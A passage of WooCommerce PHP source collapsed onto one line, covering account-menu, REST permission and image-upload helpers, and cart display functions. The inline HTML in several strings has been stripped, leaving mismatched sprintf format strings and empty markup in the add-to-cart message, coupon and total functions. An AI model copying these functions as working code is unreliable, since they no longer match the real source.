$slugs ); } if ( ! isset( $slugs[ $id ] ) ) { return $id; } return $slugs[ $id ]; } /** * Get My Account menu items. * * @since 2.6.0 * @return array */ function wc_get_account_menu_items() { $endpoints = array( 'orders' => get_option( 'woocommerce_myaccount_orders_endpoint', 'orders' ), 'downloads' => get_option( 'woocommerce_myaccount_downloads_endpoint', 'downloads' ), 'edit-address' => get_option( 'woocommerce_myaccount_edit_address_endpoint', 'edit-address' ), 'payment-methods' => get_option( 'woocommerce_myaccount_payment_methods_endpoint', 'payment-methods' ), 'edit-account' => get_option( 'woocommerce_myaccount_edit_account_endpoint', 'edit-account' ), 'customer-logout' => get_option( 'woocommerce_logout_endpoint', 'customer-logout' ), ); $items = array( 'dashboard' => __( 'Dashboard', 'woocommerce' ), 'orders' => __( 'Orders', 'woocommerce' ), 'downloads' => __( 'Downloads', 'woocommerce' ), 'edit-address' => _n( 'Address', 'Addresses', ( 1 + (int) wc_shipping_enabled() ), 'woocommerce' ), 'payment-methods' => __( 'Payment methods', 'woocommerce' ), 'edit-account' => __( 'Account details', 'woocommerce' ), 'customer-logout' => __( 'Logout', 'woocommerce' ), ); // Remove missing endpoints. foreach ( $endpoints as $endpoint_id => $endpoint ) { if ( empty( $endpoint ) ) { unset( $items[ $endpoint_id ] ); } } // Check if payment gateways support add new payment methods. if ( isset( $items['payment-methods'] ) ) { $support_payment_methods = false; foreach ( WC()->payment_gateways->get_available_payment_gateways() as $gateway ) { if ( $gateway->supports( 'add_payment_method' ) || $gateway->supports( 'tokenization' ) ) { $support_payment_methods = true; break; } } if ( ! $support_payment_methods ) { unset( $items['payment-methods'] ); } } return apply_filters( 'woocommerce_account_menu_items', $items, $endpoints ); } /** * Get account menu item classes. * * @since 2.6.0 * @param string $endpoint Endpoint. * @return string */ function wc_get_account_menu_item_classes( $endpoint ) { global $wp; $classes = array( 'woocommerce-MyAccount-navigation-link', 'woocommerce-MyAccount-navigation-link--' . $endpoint, ); // Set current item class. $current = isset( $wp->query_vars[ $endpoint ] ); if ( 'dashboard' === $endpoint && ( isset( $wp->query_vars['page'] ) || empty( $wp->query_vars ) ) ) { $current = true; // Dashboard is not an endpoint, so needs a custom check. } elseif ( 'orders' === $endpoint && isset( $wp->query_vars['view-order'] ) ) { $current = true; // When looking at individual order, highlight Orders list item (to signify where in the menu the user currently is). } elseif ( 'payment-methods' === $endpoint && isset( $wp->query_vars['add-payment-method'] ) ) { $current = true; } if ( $current ) { $classes[] = 'is-active'; } $classes = apply_filters( 'woocommerce_account_menu_item_classes', $classes, $endpoint ); return implode( ' ', array_map( 'sanitize_html_class', $classes ) ); } /** * Get account endpoint URL. * * @since 2.6.0 * @param string $endpoint Endpoint. * @return string */ function wc_get_account_endpoint_url( $endpoint ) { if ( 'dashboard' === $endpoint ) { return wc_get_page_permalink( 'myaccount' ); } if ( 'customer-logout' === $endpoint ) { return wc_logout_url(); } return wc_get_endpoint_url( $endpoint, '', wc_get_page_permalink( 'myaccount' ) ); } /** * Get My Account > Orders columns. * * @since 2.6.0 * @return array */ function wc_get_account_orders_columns() { /** * Filters the array of My Account > Orders columns. * * @since 2.6.0 * @param array $columns Array of column labels keyed by column IDs. */ return apply_filters( 'woocommerce_account_orders_columns', array( 'order-number' => __( 'Order', 'woocommerce' ), 'order-date' => __( 'Date', 'woocommerce' ), 'order-status' => __( 'Status', 'woocommerce' ), 'order-total' => __( 'Total', 'woocommerce' ), 'order-actions' => __( 'Actions', 'woocommerce' ), ) ); } /** * Get My Account > Downloads columns. * * @since 2.6.0 * @return array */ function wc_get_account_downloads_columns() { $columns = apply_filters( 'woocommerce_account_downloads_columns', array( 'download-product' => __( 'Product', 'woocommerce' ), 'download-remaining' => __( 'Downloads remaining', 'woocommerce' ), 'download-expires' => __( 'Expires', 'woocommerce' ), 'download-file' => __( 'Download', 'woocommerce' ), 'download-actions' => ' ', ) ); if ( ! has_filter( 'woocommerce_account_download_actions' ) ) { unset( $columns['download-actions'] ); } return $columns; } /** * Get My Account > Payment methods columns. * * @since 2.6.0 * @return array */ function wc_get_account_payment_methods_columns() { return apply_filters( 'woocommerce_account_payment_methods_columns', array( 'method' => __( 'Method', 'woocommerce' ), 'expires' => __( 'Expires', 'woocommerce' ), 'actions' => ' ', ) ); } /** * Get My Account > Payment methods types * * @since 2.6.0 * @return array */ function wc_get_account_payment_methods_types() { return apply_filters( 'woocommerce_payment_methods_types', array( 'cc' => __( 'Credit card', 'woocommerce' ), 'echeck' => __( 'eCheck', 'woocommerce' ), ) ); } /** * Get account orders actions. * * @since 3.2.0 * @param int|WC_Order $order Order instance or ID. * @return array */ function wc_get_account_orders_actions( $order ) { if ( ! is_object( $order ) ) { $order_id = absint( $order ); $order = wc_get_order( $order_id ); } $actions = array( 'pay' => array( 'url' => $order->get_checkout_payment_url(), 'name' => __( 'Pay', 'woocommerce' ), ), 'view' => array( 'url' => $order->get_view_order_url(), 'name' => __( 'View', 'woocommerce' ), ), 'cancel' => array( 'url' => $order->get_cancel_order_url( wc_get_page_permalink( 'myaccount' ) ), 'name' => __( 'Cancel', 'woocommerce' ), ), ); if ( ! $order->needs_payment() ) { unset( $actions['pay'] ); } if ( ! in_array( $order->get_status(), apply_filters( 'woocommerce_valid_order_statuses_for_cancel', array( 'pending', 'failed' ), $order ), true ) ) { unset( $actions['cancel'] ); } return apply_filters( 'woocommerce_my_account_my_orders_actions', $actions, $order ); } /** * Get account formatted address. * * @since 3.2.0 * @param string $address_type Address type. * Accepts: 'billing' or 'shipping'. * Default to 'billing'. * @param int $customer_id Customer ID. * Default to 0. * @return string */ function wc_get_account_formatted_address( $address_type = 'billing', $customer_id = 0 ) { $getter = "get_{$address_type}"; $address = array(); if ( 0 === $customer_id ) { $customer_id = get_current_user_id(); } $customer = new WC_Customer( $customer_id ); if ( is_callable( array( $customer, $getter ) ) ) { $address = $customer->$getter(); unset( $address['email'], $address['tel'] ); } return WC()->countries->get_formatted_address( apply_filters( 'woocommerce_my_account_my_address_formatted_address', $address, $customer->get_id(), $address_type ) ); } /** * Returns an array of a user's saved payments list for output on the account tab. * * @since 2.6 * @param array $list List of payment methods passed from wc_get_customer_saved_methods_list(). * @param int $customer_id The customer to fetch payment methods for. * @return array Filtered list of customers payment methods. */ function wc_get_account_saved_payment_methods_list( $list, $customer_id ) { $payment_tokens = WC_Payment_Tokens::get_customer_tokens( $customer_id ); foreach ( $payment_tokens as $payment_token ) { $delete_url = wc_get_endpoint_url( 'delete-payment-method', $payment_token->get_id() ); $delete_url = wp_nonce_url( $delete_url, 'delete-payment-method-' . $payment_token->get_id() ); $set_default_url = wc_get_endpoint_url( 'set-default-payment-method', $payment_token->get_id() ); $set_default_url = wp_nonce_url( $set_default_url, 'set-default-payment-method-' . $payment_token->get_id() ); $type = strtolower( $payment_token->get_type() ); $list[ $type ][] = array( 'method' => array( 'gateway' => $payment_token->get_gateway_id(), ), 'expires' => esc_html__( 'N/A', 'woocommerce' ), 'is_default' => $payment_token->is_default(), 'actions' => array( 'delete' => array( 'url' => $delete_url, 'name' => esc_html__( 'Delete', 'woocommerce' ), ), ), ); $key = key( array_slice( $list[ $type ], -1, 1, true ) ); if ( ! $payment_token->is_default() ) { $list[ $type ][ $key ]['actions']['default'] = array( 'url' => $set_default_url, 'name' => esc_html__( 'Make default', 'woocommerce' ), ); } $list[ $type ][ $key ] = apply_filters( 'woocommerce_payment_methods_list_item', $list[ $type ][ $key ], $payment_token ); } return $list; } add_filter( 'woocommerce_saved_payment_methods_list', 'wc_get_account_saved_payment_methods_list', 10, 2 ); /** * Controls the output for credit cards on the my account page. * * @since 2.6 * @param array $item Individual list item from woocommerce_saved_payment_methods_list. * @param WC_Payment_Token $payment_token The payment token associated with this method entry. * @return array Filtered item. */ function wc_get_account_saved_payment_methods_list_item_cc( $item, $payment_token ) { if ( 'cc' !== strtolower( $payment_token->get_type() ) ) { return $item; } $card_type = $payment_token->get_card_type(); $item['method']['last4'] = $payment_token->get_last4(); $item['method']['brand'] = ( ! empty( $card_type ) ? ucfirst( $card_type ) : esc_html__( 'Credit card', 'woocommerce' ) ); $item['expires'] = $payment_token->get_expiry_month() . '/' . substr( $payment_token->get_expiry_year(), -2 ); return $item; } add_filter( 'woocommerce_payment_methods_list_item', 'wc_get_account_saved_payment_methods_list_item_cc', 10, 2 ); /** * Controls the output for eChecks on the my account page. * * @since 2.6 * @param array $item Individual list item from woocommerce_saved_payment_methods_list. * @param WC_Payment_Token $payment_token The payment token associated with this method entry. * @return array Filtered item. */ function wc_get_account_saved_payment_methods_list_item_echeck( $item, $payment_token ) { if ( 'echeck' !== strtolower( $payment_token->get_type() ) ) { return $item; } $item['method']['last4'] = $payment_token->get_last4(); $item['method']['brand'] = esc_html__( 'eCheck', 'woocommerce' ); return $item; } add_filter( 'woocommerce_payment_methods_list_item', 'wc_get_account_saved_payment_methods_list_item_echeck', 10, 2 );/** * WooCommerce REST Functions * * Functions for REST specific things. * * @package WooCommerce\Functions * @version 2.6.0 */ defined( 'ABSPATH' ) || exit; /** * Parses and formats a date for ISO8601/RFC3339. * * Required WP 4.4 or later. * See https://developer.wordpress.org/reference/functions/mysql_to_rfc3339/ * * @since 2.6.0 * @param string|null|WC_DateTime $date Date. * @param bool $utc Send false to get local/offset time. * @return string|null ISO8601/RFC3339 formatted datetime. */ function wc_rest_prepare_date_response( $date, $utc = true ) { if ( is_numeric( $date ) ) { $date = new WC_DateTime( "@$date", new DateTimeZone( 'UTC' ) ); $date->setTimezone( new DateTimeZone( wc_timezone_string() ) ); } elseif ( is_string( $date ) ) { $date = new WC_DateTime( $date, new DateTimeZone( 'UTC' ) ); $date->setTimezone( new DateTimeZone( wc_timezone_string() ) ); } if ( ! is_a( $date, 'WC_DateTime' ) ) { return null; } // Get timestamp before changing timezone to UTC. return gmdate( 'Y-m-d\TH:i:s', $utc ? $date->getTimestamp() : $date->getOffsetTimestamp() ); } /** * Returns image mime types users are allowed to upload via the API. * * @since 2.6.4 * @return array */ function wc_rest_allowed_image_mime_types() { return apply_filters( 'woocommerce_rest_allowed_image_mime_types', array( 'jpg|jpeg|jpe' => 'image/jpeg', 'gif' => 'image/gif', 'png' => 'image/png', 'bmp' => 'image/bmp', 'tiff|tif' => 'image/tiff', 'ico' => 'image/x-icon', ) ); } /** * Upload image from URL. * * @since 2.6.0 * @param string $image_url Image URL. * @return array|WP_Error Attachment data or error message. */ function wc_rest_upload_image_from_url( $image_url ) { $parsed_url = wp_parse_url( $image_url ); // Check parsed URL. if ( ! $parsed_url || ! is_array( $parsed_url ) ) { /* translators: %s: image URL */ return new WP_Error( 'woocommerce_rest_invalid_image_url', sprintf( __( 'Invalid URL %s.', 'woocommerce' ), $image_url ), array( 'status' => 400 ) ); } // Ensure url is valid. $image_url = esc_url_raw( $image_url ); // download_url function is part of wp-admin. if ( ! function_exists( 'download_url' ) ) { include_once ABSPATH . 'wp-admin/includes/file.php'; } $file_array = array(); $file_array['name'] = basename( current( explode( '?', $image_url ) ) ); // Download file to temp location. $file_array['tmp_name'] = download_url( $image_url ); // If error storing temporarily, return the error. if ( is_wp_error( $file_array['tmp_name'] ) ) { return new WP_Error( 'woocommerce_rest_invalid_remote_image_url', /* translators: %s: image URL */ sprintf( __( 'Error getting remote image %s.', 'woocommerce' ), $image_url ) . ' ' /* translators: %s: error message */ . sprintf( __( 'Error: %s', 'woocommerce' ), $file_array['tmp_name']->get_error_message() ), array( 'status' => 400 ) ); } // Do the validation and storage stuff. $file = wp_handle_sideload( $file_array, array( 'test_form' => false, 'mimes' => wc_rest_allowed_image_mime_types(), ), current_time( 'Y/m' ) ); if ( isset( $file['error'] ) ) { @unlink( $file_array['tmp_name'] ); // @codingStandardsIgnoreLine. /* translators: %s: error message */ return new WP_Error( 'woocommerce_rest_invalid_image', sprintf( __( 'Invalid image: %s', 'woocommerce' ), $file['error'] ), array( 'status' => 400 ) ); } do_action( 'woocommerce_rest_api_uploaded_image_from_url', $file, $image_url ); return $file; } /** * Set uploaded image as attachment. * * @since 2.6.0 * @param array $upload Upload information from wp_upload_bits. * @param int $id Post ID. Default to 0. * @return int Attachment ID */ function wc_rest_set_uploaded_image_as_attachment( $upload, $id = 0 ) { $info = wp_check_filetype( $upload['file'] ); $title = ''; $content = ''; if ( ! function_exists( 'wp_generate_attachment_metadata' ) ) { include_once ABSPATH . 'wp-admin/includes/image.php'; } $image_meta = @wp_read_image_metadata( $upload['file'] ); if ( $image_meta ) { if ( trim( $image_meta['title'] ) && ! is_numeric( sanitize_title( $image_meta['title'] ) ) ) { $title = wc_clean( $image_meta['title'] ); } if ( trim( $image_meta['caption'] ) ) { $content = wc_clean( $image_meta['caption'] ); } } $attachment = array( 'post_mime_type' => $info['type'], 'guid' => $upload['url'], 'post_parent' => $id, 'post_title' => $title ? $title : basename( $upload['file'] ), 'post_content' => $content, ); $attachment_id = wp_insert_attachment( $attachment, $upload['file'], $id ); if ( ! is_wp_error( $attachment_id ) ) { @wp_update_attachment_metadata( $attachment_id, wp_generate_attachment_metadata( $attachment_id, $upload['file'] ) ); } return $attachment_id; } /** * Validate reports request arguments. * * @since 2.6.0 * @param mixed $value Value to validate. * @param WP_REST_Request $request Request instance. * @param string $param Param to validate. * @return WP_Error|boolean */ function wc_rest_validate_reports_request_arg( $value, $request, $param ) { $attributes = $request->get_attributes(); if ( ! isset( $attributes['args'][ $param ] ) || ! is_array( $attributes['args'][ $param ] ) ) { return true; } $args = $attributes['args'][ $param ]; if ( 'string' === $args['type'] && ! is_string( $value ) ) { /* translators: 1: param 2: type */ return new WP_Error( 'woocommerce_rest_invalid_param', sprintf( __( '%1$s is not of type %2$s', 'woocommerce' ), $param, 'string' ) ); } if ( 'date' === $args['format'] ) { $regex = '#^\d{4}-\d{2}-\d{2}$#'; if ( ! preg_match( $regex, $value, $matches ) ) { return new WP_Error( 'woocommerce_rest_invalid_date', __( 'The date you provided is invalid.', 'woocommerce' ) ); } } return true; } /** * Encodes a value according to RFC 3986. * Supports multidimensional arrays. * * @since 2.6.0 * @param string|array $value The value to encode. * @return string|array Encoded values. */ function wc_rest_urlencode_rfc3986( $value ) { if ( is_array( $value ) ) { return array_map( 'wc_rest_urlencode_rfc3986', $value ); } return str_replace( array( '+', '%7E' ), array( ' ', '~' ), rawurlencode( $value ) ); } /** * Check permissions of posts on REST API. * * @since 2.6.0 * @param string $post_type Post type. * @param string $context Request context. * @param int $object_id Post ID. * @return bool */ function wc_rest_check_post_permissions( $post_type, $context = 'read', $object_id = 0 ) { $contexts = array( 'read' => 'read_private_posts', 'create' => 'publish_posts', 'edit' => 'edit_post', 'delete' => 'delete_post', 'batch' => 'edit_others_posts', ); if ( 'revision' === $post_type ) { $permission = false; } else { $cap = $contexts[ $context ]; $post_type_object = get_post_type_object( $post_type ); $permission = current_user_can( $post_type_object->cap->$cap, $object_id ); } return apply_filters( 'woocommerce_rest_check_permissions', $permission, $context, $object_id, $post_type ); } /** * Check permissions of users on REST API. * * @since 2.6.0 * @param string $context Request context. * @param int $object_id Post ID. * @return bool */ function wc_rest_check_user_permissions( $context = 'read', $object_id = 0 ) { $contexts = array( 'read' => 'list_users', 'create' => 'promote_users', // Check if current user can create users, shop managers are not allowed to create users. 'edit' => 'edit_users', 'delete' => 'delete_users', 'batch' => 'promote_users', ); // Check to allow shop_managers to manage only customers. if ( in_array( $context, array( 'edit', 'delete' ), true ) && wc_current_user_has_role( 'shop_manager' ) ) { $permission = false; $user_data = get_userdata( $object_id ); $shop_manager_editable_roles = apply_filters( 'woocommerce_shop_manager_editable_roles', array( 'customer' ) ); if ( isset( $user_data->roles ) ) { $can_manage_users = array_intersect( $user_data->roles, array_unique( $shop_manager_editable_roles ) ); // Check if Shop Manager can edit customer or with the is same shop manager. if ( 0 < count( $can_manage_users ) || intval( $object_id ) === intval( get_current_user_id() ) ) { $permission = current_user_can( $contexts[ $context ], $object_id ); } } } else { $permission = current_user_can( $contexts[ $context ], $object_id ); } return apply_filters( 'woocommerce_rest_check_permissions', $permission, $context, $object_id, 'user' ); } /** * Check permissions of product terms on REST API. * * @since 2.6.0 * @param string $taxonomy Taxonomy. * @param string $context Request context. * @param int $object_id Post ID. * @return bool */ function wc_rest_check_product_term_permissions( $taxonomy, $context = 'read', $object_id = 0 ) { $contexts = array( 'read' => 'manage_terms', 'create' => 'edit_terms', 'edit' => 'edit_terms', 'delete' => 'delete_terms', 'batch' => 'edit_terms', ); $cap = $contexts[ $context ]; $taxonomy_object = get_taxonomy( $taxonomy ); $permission = current_user_can( $taxonomy_object->cap->$cap, $object_id ); return apply_filters( 'woocommerce_rest_check_permissions', $permission, $context, $object_id, $taxonomy ); } /** * Check manager permissions on REST API. * * @since 2.6.0 * @param string $object Object. * @param string $context Request context. * @return bool */ function wc_rest_check_manager_permissions( $object, $context = 'read' ) { $objects = array( 'reports' => 'view_woocommerce_reports', 'settings' => 'manage_woocommerce', 'system_status' => 'manage_woocommerce', 'attributes' => 'manage_product_terms', 'shipping_methods' => 'manage_woocommerce', 'payment_gateways' => 'manage_woocommerce', 'webhooks' => 'manage_woocommerce', ); $permission = current_user_can( $objects[ $object ] ); return apply_filters( 'woocommerce_rest_check_permissions', $permission, $context, 0, $object ); } /** * Check product reviews permissions on REST API. * * @since 3.5.0 * @param string $context Request context. * @param string $object_id Object ID. * @return bool */ function wc_rest_check_product_reviews_permissions( $context = 'read', $object_id = 0 ) { $permission = false; $contexts = array( 'read' => 'moderate_comments', 'create' => 'edit_products', 'edit' => 'edit_products', 'delete' => 'edit_products', 'batch' => 'edit_products', ); if ( $object_id > 0 ) { $object = get_comment( $object_id ); if ( ! is_a( $object, 'WP_Comment' ) || get_comment_type( $object ) !== 'review' ) { return false; } } if ( isset( $contexts[ $context ] ) ) { $permission = current_user_can( $contexts[ $context ], $object_id ); } return apply_filters( 'woocommerce_rest_check_permissions', $permission, $context, $object_id, 'product_review' ); }/** * WooCommerce Cart Functions * * Functions for cart specific things. * * @package WooCommerce\Functions * @version 2.5.0 */ use Automattic\Jetpack\Constants; defined( 'ABSPATH' ) || exit; /** * Prevent password protected products being added to the cart. * * @param bool $passed Validation. * @param int $product_id Product ID. * @return bool */ function wc_protected_product_add_to_cart( $passed, $product_id ) { if ( post_password_required( $product_id ) ) { $passed = false; wc_add_notice( __( 'This product is protected and cannot be purchased.', 'woocommerce' ), 'error' ); } return $passed; } add_filter( 'woocommerce_add_to_cart_validation', 'wc_protected_product_add_to_cart', 10, 2 ); /** * Clears the cart session when called. */ function wc_empty_cart() { if ( ! isset( WC()->cart ) || '' === WC()->cart ) { WC()->cart = new WC_Cart(); } WC()->cart->empty_cart( false ); } /** * Load the persistent cart. * * @param string $user_login User login. * @param WP_User $user User data. * @deprecated 2.3 */ function wc_load_persistent_cart( $user_login, $user ) { if ( ! $user || ! apply_filters( 'woocommerce_persistent_cart_enabled', true ) ) { return; } $saved_cart = get_user_meta( $user->ID, '_woocommerce_persistent_cart_' . get_current_blog_id(), true ); if ( ! $saved_cart ) { return; } $cart = WC()->session->cart; if ( empty( $cart ) || ! is_array( $cart ) || 0 === count( $cart ) ) { WC()->session->cart = $saved_cart['cart']; } } /** * Retrieves unvalidated referer from '_wp_http_referer' or HTTP referer. * * Do not use for redirects, use {@see wp_get_referer()} instead. * * @since 2.6.1 * @return string|false Referer URL on success, false on failure. */ function wc_get_raw_referer() { if ( function_exists( 'wp_get_raw_referer' ) ) { return wp_get_raw_referer(); } if ( ! empty( $_REQUEST['_wp_http_referer'] ) ) { // WPCS: input var ok, CSRF ok. return wp_unslash( $_REQUEST['_wp_http_referer'] ); // WPCS: input var ok, CSRF ok, sanitization ok. } elseif ( ! empty( $_SERVER['HTTP_REFERER'] ) ) { // WPCS: input var ok, CSRF ok. return wp_unslash( $_SERVER['HTTP_REFERER'] ); // WPCS: input var ok, CSRF ok, sanitization ok. } return false; } /** * Add to cart messages. * * @param int|array $products Product ID list or single product ID. * @param bool $show_qty Should quantities be shown? Added in 2.6.0. * @param bool $return Return message rather than add it. * * @return mixed */ function wc_add_to_cart_message( $products, $show_qty = false, $return = false ) { $titles = array(); $count = 0; if ( ! is_array( $products ) ) { $products = array( $products => 1 ); $show_qty = false; } if ( ! $show_qty ) { $products = array_fill_keys( array_keys( $products ), 1 ); } foreach ( $products as $product_id => $qty ) { /* translators: %s: product name */ $titles[] = apply_filters( 'woocommerce_add_to_cart_qty_html', ( $qty > 1 ? absint( $qty ) . ' × ' : '' ), $product_id ) . apply_filters( 'woocommerce_add_to_cart_item_name_in_quotes', sprintf( _x( '“%s”', 'Item name in quotes', 'woocommerce' ), strip_tags( get_the_title( $product_id ) ) ), $product_id ); $count += $qty; } $titles = array_filter( $titles ); /* translators: %s: product name */ $added_text = sprintf( _n( '%s has been added to your cart.', '%s have been added to your cart.', $count, 'woocommerce' ), wc_format_list_of_items( $titles ) ); // Output success messages. $wp_button_class = wc_wp_theme_get_element_class_name( 'button' ) ? ' ' . wc_wp_theme_get_element_class_name( 'button' ) : ''; if ( 'yes' === get_option( 'woocommerce_cart_redirect_after_add' ) ) { $return_to = apply_filters( 'woocommerce_continue_shopping_redirect', wc_get_raw_referer() ? wp_validate_redirect( wc_get_raw_referer(), false ) : wc_get_page_permalink( 'shop' ) ); $message = sprintf( '%s %s', esc_url( $return_to ), esc_attr( $wp_button_class ), esc_html__( 'Continue shopping', 'woocommerce' ), esc_html( $added_text ) ); } else { $message = sprintf( '%s %s', esc_url( wc_get_cart_url() ), esc_attr( $wp_button_class ), esc_html__( 'View cart', 'woocommerce' ), esc_html( $added_text ) ); } if ( has_filter( 'wc_add_to_cart_message' ) ) { wc_deprecated_function( 'The wc_add_to_cart_message filter', '3.0', 'wc_add_to_cart_message_html' ); $message = apply_filters( 'wc_add_to_cart_message', $message, $product_id ); } $message = apply_filters( 'wc_add_to_cart_message_html', $message, $products, $show_qty ); if ( $return ) { return $message; } else { wc_add_notice( $message, apply_filters( 'woocommerce_add_to_cart_notice_type', 'success' ) ); } } /** * Comma separate a list of item names, and replace final comma with 'and'. * * @param array $items Cart items. * @return string */ function wc_format_list_of_items( $items ) { $item_string = ''; foreach ( $items as $key => $item ) { $item_string .= $item; if ( count( $items ) === $key + 2 ) { $item_string .= ' ' . __( 'and', 'woocommerce' ) . ' '; } elseif ( count( $items ) !== $key + 1 ) { $item_string .= ', '; } } return $item_string; } /** * Clear cart after payment. */ function wc_clear_cart_after_payment() { global $wp; if ( ! empty( $wp->query_vars['order-received'] ) ) { $order_id = absint( $wp->query_vars['order-received'] ); $order_key = isset( $_GET['key'] ) ? wc_clean( wp_unslash( $_GET['key'] ) ) : ''; // WPCS: input var ok, CSRF ok. if ( $order_id > 0 ) { $order = wc_get_order( $order_id ); if ( $order && hash_equals( $order->get_order_key(), $order_key ) ) { WC()->cart->empty_cart(); } } } if ( WC()->session->order_awaiting_payment > 0 ) { $order = wc_get_order( WC()->session->order_awaiting_payment ); if ( $order && $order->get_id() > 0 ) { // If the order has not failed, or is not pending, the order must have gone through. if ( ! $order->has_status( array( 'failed', 'pending', 'cancelled' ) ) ) { WC()->cart->empty_cart(); } } } } add_action( 'template_redirect', 'wc_clear_cart_after_payment', 20 ); /** * Get the subtotal. */ function wc_cart_totals_subtotal_html() { echo WC()->cart->get_cart_subtotal(); // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped } /** * Get shipping methods. */ function wc_cart_totals_shipping_html() { $packages = WC()->shipping()->get_packages(); $first = true; foreach ( $packages as $i => $package ) { $chosen_method = isset( WC()->session->chosen_shipping_methods[ $i ] ) ? WC()->session->chosen_shipping_methods[ $i ] : ''; $product_names = array(); if ( count( $packages ) > 1 ) { foreach ( $package['contents'] as $item_id => $values ) { $product_names[ $item_id ] = $values['data']->get_name() . ' ×' . $values['quantity']; } $product_names = apply_filters( 'woocommerce_shipping_package_details_array', $product_names, $package ); } wc_get_template( 'cart/cart-shipping.php', array( 'package' => $package, 'available_methods' => $package['rates'], 'show_package_details' => count( $packages ) > 1, 'show_shipping_calculator' => is_cart() && apply_filters( 'woocommerce_shipping_show_shipping_calculator', $first, $i, $package ), 'package_details' => implode( ', ', $product_names ), /* translators: %d: shipping package number */ 'package_name' => apply_filters( 'woocommerce_shipping_package_name', ( ( $i + 1 ) > 1 ) ? sprintf( _x( 'Shipping %d', 'shipping packages', 'woocommerce' ), ( $i + 1 ) ) : _x( 'Shipping', 'shipping packages', 'woocommerce' ), $i, $package ), 'index' => $i, 'chosen_method' => $chosen_method, 'formatted_destination' => WC()->countries->get_formatted_address( $package['destination'], ', ' ), 'has_calculated_shipping' => WC()->customer->has_calculated_shipping(), ) ); $first = false; } } /** * Get taxes total. */ function wc_cart_totals_taxes_total_html() { echo apply_filters( 'woocommerce_cart_totals_taxes_total_html', wc_price( WC()->cart->get_taxes_total() ) ); // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped } /** * Get a coupon label. * * @param string|WC_Coupon $coupon Coupon data or code. * @param bool $echo Echo or return. * * @return string */ function wc_cart_totals_coupon_label( $coupon, $echo = true ) { if ( is_string( $coupon ) ) { $coupon = new WC_Coupon( $coupon ); } /* translators: %s: coupon code */ $label = apply_filters( 'woocommerce_cart_totals_coupon_label', sprintf( esc_html__( 'Coupon: %s', 'woocommerce' ), $coupon->get_code() ), $coupon ); if ( $echo ) { echo $label; // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped } else { return $label; } } /** * Get coupon display HTML. * * @param string|WC_Coupon $coupon Coupon data or code. */ function wc_cart_totals_coupon_html( $coupon ) { if ( is_string( $coupon ) ) { $coupon = new WC_Coupon( $coupon ); } $discount_amount_html = ''; $amount = WC()->cart->get_coupon_discount_amount( $coupon->get_code(), WC()->cart->display_cart_ex_tax ); $discount_amount_html = '-' . wc_price( $amount ); if ( $coupon->get_free_shipping() && empty( $amount ) ) { $discount_amount_html = __( 'Free shipping coupon', 'woocommerce' ); } $discount_amount_html = apply_filters( 'woocommerce_coupon_discount_amount_html', $discount_amount_html, $coupon ); $coupon_html = $discount_amount_html . ' ' . __( '[Remove]', 'woocommerce' ) . ''; echo wp_kses( apply_filters( 'woocommerce_cart_totals_coupon_html', $coupon_html, $coupon, $discount_amount_html ), array_replace_recursive( wp_kses_allowed_html( 'post' ), array( 'a' => array( 'data-coupon' => true ) ) ) ); // phpcs:ignore PHPCompatibility.PHP.NewFunctions.array_replace_recursiveFound } /** * Get order total html including inc tax if needed. */ function wc_cart_totals_order_total_html() { $value = '' . WC()->cart->get_total() . ' '; // If prices are tax inclusive, show taxes here. if ( wc_tax_enabled() && WC()->cart->display_prices_including_tax() ) { $tax_string_array = array(); $cart_tax_totals = WC()->cart->get_tax_totals(); if ( get_option( 'woocommerce_tax_total_display' ) === 'itemized' ) { foreach ( $cart_tax_totals as $code => $tax ) { $tax_string_array[] = sprintf( '%s %s', $tax->formatted_amount, $tax->label ); } } elseif ( ! empty( $cart_tax_totals ) ) { $tax_string_array[] = sprintf( '%s %s', wc_price( WC()->cart->get_taxes_total( true, true ) ), WC()->countries->tax_or_vat() ); } if ( ! empty( $tax_string_array ) ) { $taxable_address = WC()->customer->get_taxable_address(); if ( WC()->customer->is_customer_outside_base() && ! WC()->customer->has_calculated_shipping() ) { $country = WC()->countries->estimated_for_prefix( $taxable_address[0] ) . WC()->countries->countries[ $taxable_address[0] ]; /* translators: 1: tax amount 2: country name */ $tax_text = wp_kses_post( sprintf( __( '(includes %1$s estimated for %2$s)', 'woocommerce' ), implode( ', ', $tax_string_array ), $country ) ); } else { /* translators: %s: tax amount */ $tax_text = wp_kses_post( sprintf( __( '(includes %s)', 'woocommerce' ), implode( ', ', $tax_string_array ) ) ); } $value .= '' . $tax_text . ''; } } echo apply_filters( 'woocommerce_cart_totals_order_total_html', $value ); // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped } /** * Get the fee value. * * @param object $fee Fee data. */ function wc_cart_totals_fee_html( $fee ) { $cart_totals_fee_html = WC()->cart->display_prices_including_tax() ? wc_price( $fee->total + $fee->tax ) : wc_price( $fee->total ); echo apply_filters( 'woocommerce_cart_totals_fee_html', $cart_totals_fee_html, $fee ); // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped } /** * Get a shipping methods full label including price. * * @param WC_Shipping_Rate $method Shipping method rate data. * @return string */ function wc_cart_totals_shipping_method_label( $method ) { $label = $method->get_label(); $has_cost = 0 < $method->cost; $hide_cost = ! $has_cost && in_array( $method->get_method_id(), array( 'free_shipping', 'local_pickup' ), true ); if ( $has_cost && ! $hide_cost ) { if ( WC()->cart->display_prices_including_tax() ) { $label .= ': ' . wc_price( $method->cost + $method->get_shipping_tax() ); if ( $method->get_shipping_tax() > 0 && ! wc_prices_include_tax() ) { $label .= ' ' . WC()->countries->inc_tax_or_vat() . ''; } } else { $label .= ': ' . wc_price( $method->cost ); if ( $method->get_shipping_tax() > 0 && wc_prices_include_tax() ) { $label .= ' ' . WC()->countries->ex_tax_or_vat() . ''; } } } return apply_filters( 'woocommerce_cart_shipping_method_full_label', $label, $method ); } /** * Round discount. * * @param double $value Amount to round. * @param int $precision DP to round. * @return float */ function wc_cart_round_discount( $value, $precision ) { return wc_round_discount( $value, $precision ); } /** * Gets chosen shipping method IDs from chosen_shipping_methods session, without instance IDs. * * @since 2.6.2 * @return string[] */ function wc_get_chosen_shipping_method_ids() { $method_ids = array(); $chosen_methods = WC()->session->get( 'chosen_shipping_methods', array() ); foreach ( $chosen_methods as $chosen_method ) { $chosen_method = explode( ':', $chosen_method ); $method_ids[] = current( $chosen_method ); } return $method_ids; } /** * Get chosen method for package from session. * * @since 3.2.0 * @param int $key Key of package. * @param array $package Package data array. * @return string|bool */ function wc_get_chosen_shipping_method_for_package( $key, 